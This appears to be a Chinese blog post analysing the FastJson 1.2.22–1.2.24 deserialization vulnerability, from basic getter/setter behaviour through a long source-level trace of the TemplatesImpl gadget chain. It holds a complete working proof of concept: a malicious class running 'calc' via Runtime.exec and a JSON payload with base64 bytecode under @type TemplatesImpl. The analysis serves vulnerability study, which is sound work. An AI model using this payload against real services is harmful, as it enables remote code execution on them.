FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到Java Bean。
序列化的函数为JSON.toJSONString
常用的方式为:
public static String toJSONString(Object object)
User.java
import java.util.Properties; public class User { public String name1; //public且有get set public String name2; //public且有get public String name3; //public且有set public String name4; //仅仅public private String age1; //private且有get set private String age2; //private且有get private String age3; //private且有set private String age4; //仅仅private public String getName1() { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + "() is called"); return name1; } public void setName1(String name1) { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + "() is called"); this.name1 = name1; } public String getAge1() { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + "() is called"); return age1; } public void setAge1(String age1) { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + "() is called"); this.age1 = age1; } public String getName2() { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + "() is called"); return name2; } public String getAge2() { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + "() is called"); return age2; } public void setName3(String name3) { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + "() is called"); this.name3 = name3; } public void setAge3(String age3) { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + "() is called"); this.age3 = age3; } @Override public String toString() { return "User{" + "name1='" + name1 + '\'' + ", name2='" + name2 + '\'' + ", name3='" + name3 + '\'' + ", name4='" + name4 + '\'' + ", age1='" + age1 + '\'' + ", age2='" + age2 + '\'' + ", age3='" + age3 + '\'' + ", age4='" + age4 + '\'' + '}'; } public User() { this.name1 = "rai4over1"; this.name2 = "rai4over2"; this.name3 = "rai4over3"; this.name4 = "rai4over4"; this.age1 = "a1"; this.age2 = "a2"; this.age3 = "a3"; this.age4 = "a4"; System.out.println("User init() is called"); } }
该类中使用无参数构造函数初始化成员,包含8个成员分成两组,分别被public、private修饰的,并且对应的get、set方法有所不同形成对比,以探究具体的调用情况。
Test.java
import com.alibaba.fastjson.JSON; public class Test { public static void main(String[] args) { User a = new User(); System.out.println("==========================="); String jsonstr_a = JSON.toJSONString(a); } }
运行结果:
User init() is called =========================== getAge1() is called getAge2() is called getName1() is called getName2() is called {"age1":"a1","age2":"a2","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"}
可以发现在序列化时,FastJson会调用成员对应的get方法,被private修饰且没有get方法的成员不会被序列化,并且序列化的结果是标准的JSON字符串。
JSON标准是不支持自省的,也就是说根据JSON文本,不知道它包含的对象的类型。
FastJson支持自省,在序列化时传入类型信息SerializerFeature.WriteClassName,可以得到能表明对象类型的JSON文本。
FastJson的漏洞就是由于这个功能引起的。
使用方式
public static String toJSONString(Object object, SerializerFeature... features)
Test.java
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class Test { public static void main(String[] args) { User a = new User(); System.out.println("==========================="); String jsonstr_a = JSON.toJSONString(a, SerializerFeature.WriteClassName); } }
运行结果:
User init() is called =========================== getAge1() is called getAge2() is called getName1() is called getName2() is called {"@type":"User","age1":"a1","age2":"a2","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"}
JSON字符串中新增@type字段名,用来表明指定反序列化的目标对象类型为User
反序列化的函数为JSON.parseObject
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; public class Test { public static void main(String[] args) { String jsonstr_a = "{\"age1\":\"a1\",\"age2\":\"a2\",\"age3\":\"a3\",\"age4\":\"a4\",\"name1\":\"rai4over1\",\"name2\":\"rai4over2\",\"name3\":\"rai4over3\",\"name4\":\"rai4over4\"}"; System.out.println(jsonstr_a); System.out.println("==========================="); User b = JSON.parseObject(jsonstr_a, User.class); } }
需要在JSON.parseObject中传入Class
运行结果:
{"age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"} =========================== User init() is called setAge1() is called setAge3() is called setName1() is called setName3() is called User{name1='rai4over1', name2='rai4over2', name3='rai4over3', name4='rai4over4', age1='a1', age2='null', age3='a3', age4='null'}
在使用SerializerFeature.WriteClassName序列化时,也可以使用JSON.parse进行反序列化。
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; public class Test { public static void main(String[] args) { String jsonstr_a = "{\"@type\":\"User\",\"age1\":\"a1\",\"age2\":\"a2\",\"age3\":\"a3\",\"age4\":\"a4\",\"name1\":\"rai4over1\",\"name2\":\"rai4over2\",\"name3\":\"rai4over3\",\"name4\":\"rai4over4\"}"; System.out.println(jsonstr_a); System.out.println("==========================="); //User b = JSON.parseObject(jsonstr_a, User.class); Object b = JSON.parse(jsonstr_a); } }
运行结果:
{"@type":"User","age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"} =========================== User init() is called setAge1() is called setAge3() is called setName1() is called setName3() is called User{name1='rai4over1', name2='rai4over2', name3='rai4over3', name4='rai4over4', age1='a1', age2='null', age3='a3', age4='null'}
可以发现两种反序列化方式的结果是相同,并且得到结论:
public、private修饰的成员只要有对应的set方法,set方法均在反序列化时被调用。
对于被public修饰的成员即便没有对应的set方法,也会被赋值。
对于没有set方法的private成员,反序列化时传递Feature.SupportNonPublicField 即可完成赋值。
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; public class Test { public static void main(String[] args) { //User a = new User(); //System.out.println("==========================="); //String jsonstr_a = JSON.toJSONString(a); String jsonstr_a = "{\"age1\":\"a1\",\"age2\":\"a2\",\"age3\":\"a3\",\"age4\":\"a4\",\"name1\":\"rai4over1\",\"name2\":\"rai4over2\",\"name3\":\"rai4over3\",\"name4\":\"rai4over4\"}"; System.out.println(jsonstr_a); System.out.println("==========================="); User b = JSON.parseObject(jsonstr_a, User.class, Feature.SupportNonPublicField); //Object b = JSON.parse(jsonstr_a); System.out.println(b); } }
运行结果:
{"age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4"} =========================== User init() is called setAge1() is called setAge3() is called setName1() is called setName3() is called User{name1='rai4over1', name2='rai4over2', name3='rai4over3', name4='rai4over4', age1='a1', age2='a2', age3='a3', age4='a4'}
FastJson在1.2.22 - 1.2.24 版本中存在反序列化漏洞,主要原因FastJson支持的两个特性:
@type字段,用来表明指定反序列化的目标恶意对象类。set方法,get方法,若这类方法中存在利用点,即可完成漏洞利用。主要存在两种利用方式:
先讨论TemplatesImpl利用链
恶意对象类:
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class poc_1 extends AbstractTranslet { public poc_1() throws IOException { Runtime.getRuntime().exec("calc"); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main(String[] args) throws Exception { poc_1 t = new poc_1(); } }
javac编译成字节码,然后对字节码继续宁base64编码填充POC的_bytecodes字段。
POC:
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class java1_2_25 { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}"; JSON.parseObject(payload, Feature.SupportNonPublicField); } }
POC中的利用链TemplatesImpl类的中的绝大多数成员变量是被private修饰,影响漏洞的主要是_bytecodes 和 _outputProperties 两个成员变量。因此在使用JSON.parseObject时需要传入Feature.SupportNonPublicField。

@type :反序列化的恶意目标类型TemplatesImpl,FastJson最终会按照这个类反序列化得到实例
_bytecodes:继承AbstractTranslet 类的恶意类字节码,使用Base64编码。
_outputProperties:TemplatesImpl反序列化过程中会调用getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行。
_name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程;
_tfactory:defineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常;
com.alibaba.fastjson.JSON#parseObject(java.lang.String, com.alibaba.fastjson.parser.Feature...)

parseObject会还是会调用parse,一路跟还是到parse
com.alibaba.fastjson.JSON#parse(java.lang.String, int)

创建了类型为DefaultJSONParser的parser变量,跟进该类的创建
com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.String, com.alibaba.fastjson.parser.ParserConfig, int)

调用了另一个构造函数,并传入了JSONScanner类的实例用于词法解析。
com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.Object, com.alibaba.fastjson.parser.JSONLexer, com.alibaba.fastjson.parser.ParserConfig)

对JSON字符串的开头进行解析,发现是{开头,设置对应的token。

此时变量内容如下,继续跟进parser.parse()到关键点
com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)

这里会根据前面的初始化lexer.token()为12,进入了对应的case分支,调用parseObject
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

scanSymbol函数从JSON文本中解析出@type键名

根据@type进入相对的分支,并使用scanSymbol函数解析出com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl键值
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

调用TypeUtils.loadClass加载恶意利用类并存入clazz。

将clazz传入config.getDeserializer并继续跟进到关键位置。
com.alibaba.fastjson.util.JavaBeanInfo#build

通过反射获取类中的全部方法,此时的调用栈为:
build:130, JavaBeanInfo (com.alibaba.fastjson.util) createJavaBeanDeserializer:526, ParserConfig (com.alibaba.fastjson.parser) getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser) getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser) parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:193, JSON (com.alibaba.fastjson) parseObject:197, JSON (com.alibaba.fastjson) main:13, java1_2_25
然后通过三个for循环筛选出符合条件的方法存入fieldList

筛选部分代码如下

满足条件的setter:
4且以set开头void或当前类1个满足条件的getter:
4get开头且第4个字母为大写Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong可以看到有三个符合条件,最后作为参数传入JavaBeanInfo类的实例。
执行并返回到上层,并进入关键的函数deserializer.deserialze

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)

在解析处理@type字段的目标类后,通过for循环处理JSON文本中剩下的键值对,通过scanSymbol函数获取下个键名

最先获取到的是_bytecodes,作为参数传递parseField函数

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField

这里调用函数smartMatch处理键名,跟踪该函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch

将键名传入了getFieldDeserializer函数,跟踪该函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#getFieldDeserializer

会将键名和之前筛选的出的三个方法名称进行比较,_bytecodes不满足条件因此会返回null,并返回到smartMatch函数中

因为fieldDeserializer结果为null,会进入分支并去掉原键名中的-、删除开头的下划线等。
键名为_bytecodes时,处理后变为bytecodes,并再次调用getFieldDeserializer进行对比,但bytecodes依然会返回null。

再此分支创建对DefaultFieldDeserializer类型的fieldDeserializer进行赋值,并调用fieldDeserializer.parseField函数
com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField

然后调用fieldValueDeserilizer.deserialze函数对_bytecodes进行base64解码并赋值给value,这就是为什么POC中的_bytecodes包含的字节码需要base64编码。
com.alibaba.fastjson.parser.JSONScanner#bytesValue

`base64解码调用过程比较冗长,直接列出调用栈信息
decodeBase64:478, IOUtils (com.alibaba.fastjson.util)
bytesValue:112, JSONScanner (com.alibaba.fastjson.parser)
deserialze:136, ObjectArrayCodec (com.alibaba.fastjson.serializer) [2]
parseArray:723, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:177, ObjectArrayCodec (com.alibaba.fastjson.serializer) [1]
parseField:71, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25
继续调用setValue

com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)

将解码后的内容设置到对象中,此时的调用栈信息
setValue:137, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:193, JSON (com.alibaba.fastjson) parseObject:197, JSON (com.alibaba.fastjson) main:13, java1_2_25
层层返回

执行到deserialze:614, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)跳出当前循环,进入外部的下一次的for循环deserialze:349, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
在大循环中JSON文本中的每个键值对都会进行分析处理,继续分析关键的outputProperties流程
deserialze:474, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

然后将键名_outputProperties传入smartMatch,下划线会被去掉变为key2,符合sortedFieldDeserializers中的三个元素,返回fieldDeserializer。

POC中键名为outputProperties也是可以的,smartMatch(key)就能返回fieldDeserializer,一路步进至setValue处。

这里会利用反射调用outputProperties的get方法public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance

首先对_name进行判断并不能为空,然后调用defineTransletClasses函数
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses

使用了loader.defineClass加载了恶意对象的字节码,然后获取父类赋值到superClass,superClass.getName().equals父类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

返回到上层函数,_class[_transletIndex].newInstance()创建恶意对象实例。
java.lang.Class#newInstance

这里直接无参数实例化了,调用了恶意类的构造函数完成代码执行。
当前调用栈
newInstance:410, Constructor (java.lang.reflect) newInstance:442, Class (java.lang) getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:193, JSON (com.alibaba.fastjson) parseObject:197, JSON (com.alibaba.fastjson) main:13, java1_2_25
https://mntn0x.github.io/2020/04/07/Fastjson%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/